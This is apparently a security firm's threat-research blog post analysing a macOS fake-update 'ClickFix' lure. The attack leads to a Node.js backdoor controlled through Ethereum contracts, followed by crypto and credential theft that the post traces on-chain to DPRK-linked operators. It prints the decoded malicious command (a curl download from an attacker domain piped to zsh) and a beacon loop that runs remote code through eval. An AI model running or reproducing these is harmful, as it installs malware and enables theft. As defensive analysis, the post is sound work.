ClickFix, EtherHiding & a DPRK Wallet Trail

1Sequence of events

The incident began innocuously. While performing routine incident-response research for one of our customers, the author clicked a search result for a target company. Immediately after the website opened, the browser displayed what appeared to be a full-screen macOS reboot or update sequence. The page blocked normal interaction and created the impression that the computer itself had crashed or was restarting.

It had not.

The "reboot" was the result of a malvertising ad on the website, invoking a browser-based illusion designed to create urgency and panic. After the fake update sequence completed, the page instructed the user to open Terminal and paste a command, one that had already been silently copied to the clipboard by the webpage.

We recognised the behaviour as suspicious, captured the command instead of executing it, and began working backward through the payload chain. The resulting analysis showed the attack was closely aligned with the fake-job malware activity associated with DPRK-linked operators (described in a previous AllSecure research blog post), but with an important operational evolution: instead of relying on a conventional website or hard-coded server for command-and-control, the malware stored live C2 configuration inside Ethereum smart contracts.

AllSecure reverse-engineered the stages of the attack, recovered the malware components, identified a Node.js backdoor, analysed the infostealer and malicious Chrome extension, and followed the supporting wallet infrastructure on-chain. The investigation links the malware to a North-Korean-linked crypto-theft operation and a laundering network connected to withdrawals from mainstream exchanges.

2Why this case matters

This case is notable because the initial lure was not a suspicious job offer, a malicious attachment, or an obviously targeted message. It began with a normal web search.

Together these elements show a mature, financially motivated threat operation: social engineering at the browser layer, malware execution at the endpoint layer, command-and-control at the blockchain layer, and laundering at the financial layer.

From our research bench to the wild: HITB 2021

Five years ago at Hack In The Box Cyber Week 2021, Christian Papathanasiou presented "Malicious Contracts", research showing how Ethereum smart contracts could be weaponised as resilient, origin-obscuring command-and-control that no registrar or host can take down. What was a research concept then is now live nation-state tradecraft: the DPRK uses precisely this technique (EtherHiding) to run live malware C2 in the wild.

▶ youtube.com/watch?v=1ZDEjXuYNXk · "Malicious Contracts", HITBCW 2021

3The lure: "ClickFix" social engineering

The entry point is a malvertising / injected-script chain that ends with the victim being tricked into running the payload themselves. In the observed case the browsing path began with legitimate research into CRISPR and laboratory equipment: the user searched for electrophoresis machines and clicked a result for a company that appeared to sell them. The malicious experience began immediately after the page loaded, creating a fake system-level emergency and shifting responsibility for execution to the user.

1. 1Malicious ad / injected script. Reported entry is a Google Ad click or search-driven browsing path leading to a compromised page carrying an overlay script.
2. 2Fake update overlay. A full-window page mimics a macOS "updates required / restart" screen, capturing the whole viewport and blocking normal browser interaction.
3. 3User lock-in effect. The page creates the appearance that the device itself is rebooting or frozen, making the event feel local and urgent rather than like a suspicious webpage.
4. 4Clipboard hijack. The page silently writes the attack command to the clipboard before the user is told to paste anything.
5. 5Paste-to-Terminal instruction. The victim is told to open Terminal and press ⌘-V then Return. The pasted text is a base64 blob that decodes and relays the real command.

# base64 decodes to:
curl -ksfL https://real-tumble.pro/zpXxnS8xemq | zsh & disown

4Stage 2: the blockchain-controlled backdoor

After the command is executed, the dropper installs Node.js if needed and runs an obfuscated ~38 KB Node.js RAT (internally versioned 1.0.3). Rather than relying on a normal web server for static configuration, the malware queries Ethereum smart contracts and retrieves its command-and-control data through public RPC infrastructure. Strings are hidden with a per-function shuffled basE91 alphabet; C2 traffic and the on-chain config are XOR-obfuscated.

// resolve C2 from the Ethereum contract, then beacon forever
for (;;) {
  await refreshC2Config();                 // eth_call -> { url, key }
  const resp = await callServer({ command: 'ping', ...deviceInfo });
  const task = resp.command;               // { id, js } or null
  if (task) {
    const output = await eval('{' + task.js + '}');   // <== remote code execution
    await callServer({ command: 'output', id: task.id, output });
  }
  await sleep(jitter(300000, 5));           // ~5 minutes + jitter
}

5The payloads: steal, then hijack the browser

Each victim is tasked a fixed sequence over the encrypted channel: an infostealer, then a browser-extension hijack, then nothing further. Exfiltration reuses the same C2 channel; there is no separate exfil domain. The campaign is built to monetise access quickly by collecting wallet data, browser secrets, developer credentials, and persistent browser-level visibility.

6Following the money

Two Ethereum addresses were embedded in the malware. Both turned out to be EtherHiding configuration contracts: byte-identical bytecode, the same getter, and zero balance. Neither holds funds. The embedded addresses were part of the malware's C2 mechanism, not attacker wallets holding stolen money, so to trace value, we pivoted to the wallets that deployed and funded those contracts.

Disposable, single-use infrastructure

Each contract was created by a throwaway wallet running an identical four-step script: funded with ~0.0126 ETH, deploy the contract, write the config, forward the leftover ~0.006 ETH onward, then abandon the wallet. The pattern suggests an operator that has industrialised deployment: fund, deploy, configure, drain leftovers, abandon, repeat.

The fund-flow trees

Where the money comes from and where it goes

• •Source of funds: operating capital is seeded by withdrawals from mainstream exchanges. On the backdoor side, the KuCoin 17 hot wallet sent 464.80 ETH, about $890,000, across 281 transfers between 28 May and 30 July 2026, with nothing ever returned. That is roughly 45% of everything the treasury received, and the treasury moved about $1.96M in nine weeks before being drained. The extension side is seeded by Binance USDT withdrawals. The exchange accounts behind those withdrawals are the strongest real-world leads.
• •Cash-out: stablecoins move onward into a shared network whose sinks are tagged Fake_Phishing2114928 by public explorers. That network sits outside this campaign's deployment chain, and its own history is saturated with address-poisoning spam: impostor DAI contracts built from homoglyph symbols, zero-value transfers, and crafted lookalike addresses that mimic real counterparties on both prefix and suffix.

7Attribution

The tradecraft matches the DPRK threat cluster UNC5342 and the "Contagious Interview" campaign publicly documented by Google Threat Intelligence Group, Microsoft and JAMF through 2025–2026. Google was first to observe a nation-state actor adopting EtherHiding.

• •macOS ClickFix fake-update lures
• •Blockchain-hosted C2 via EtherHiding
• •eval-based remote code execution
• •Crypto and credential theft
• •Exchange-funded disposable wallet fleets

The specific domains (rg-telemetry.sbs, th-updates.sbs) and the wallet cluster in this report appear to be fresh infrastructure not yet in public reporting. The delivery context is also worth noting: DPRK-linked campaigns are often described through the lens of fake job interviews and developer recruitment, but this case shows the same operational logic appearing in a broader browsing scenario. That does not replace the fake-job pattern; it expands the threat model.

8Detection & remediation

No single control sees the entire chain: the initial infection depends on a webpage writing to the clipboard and persuading the user to paste into Terminal, while the post-compromise phase depends on a local implant, Chrome profile tampering, extension sideloading, and Ethereum RPC traffic. Defenders should correlate browser-originated clipboard activity, Terminal execution of pasted shell commands, public blockchain RPC calls from user endpoints, new or modified LaunchAgents, Node.js execution from unusual cache directories, Chrome Secure Preferences modification, and newly installed high-risk extensions.

9Indicators of compromise